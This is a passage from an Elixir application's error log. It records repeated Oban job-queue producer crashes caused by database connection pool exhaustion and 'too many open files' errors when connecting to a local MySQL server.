  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:41:19.239908Z], limit: 3, uuid: "83b59860-4c86-47a6-8290-ae65a61853d9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:41:19.239914Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.24171>, refresh_timer: #Reference<0.2525715032.1099431938.25469>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:41:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 884ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:41:19.239591Z], limit: 5, uuid: "5b7d743d-092e-46ea-b9a1-fdd46884efaf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:41:19.239597Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.24170>, refresh_timer: #Reference<0.2525715032.1099431938.25449>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:41:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 821ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:41:19.240142Z], limit: 20, uuid: "1304a58e-d9ad-4e57-a31d-bf796b90d899", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:41:19.240147Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.24169>, refresh_timer: #Reference<0.2525715032.1099431938.25475>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:41:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 864ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:41:19.241176Z], limit: 10, uuid: "b9c0d764-91d9-4499-b326-8f05416b4bfa", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:41:19.241180Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.25481>, refresh_timer: #Reference<0.2525715032.1099431938.25480>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:41:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1035ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:41:19.240991Z], limit: 5, uuid: "d2c29aa5-f13e-4bd4-93b6-92522bfa9d9a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:41:19.240997Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.24168>, refresh_timer: #Reference<0.2525715032.1121189889.133077>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:41:32.005000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:41:32.043000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:41:36.911000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:41:39.136000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:41:43.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 848ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:41:31.239357Z], limit: 20, uuid: "8fcd2413-4d77-4a61-968f-a831433294e0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:41:31.239364Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.133384>, refresh_timer: #Reference<0.2525715032.1121189889.133383>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:41:43.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1047ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:41:31.239030Z], limit: 5, uuid: "9413991f-bb90-4f68-b332-eb3a4b348362", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:41:31.239035Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.133385>, refresh_timer: #Reference<0.2525715032.1099431938.25604>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:41:43.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1021ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:41:31.238956Z], limit: 3, uuid: "31cd9eac-cb4c-4fe8-a4a5-1d71d045b652", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:41:31.238961Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.24441>, refresh_timer: #Reference<0.2525715032.1099431938.25603>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:41:43.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 843ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:41:31.240033Z], limit: 5, uuid: "91beb68f-13a2-4c6a-ab2e-ec9b22ad9fd2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:41:31.240038Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.133388>, refresh_timer: #Reference<0.2525715032.1077411843.258467>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:41:43.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 832ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

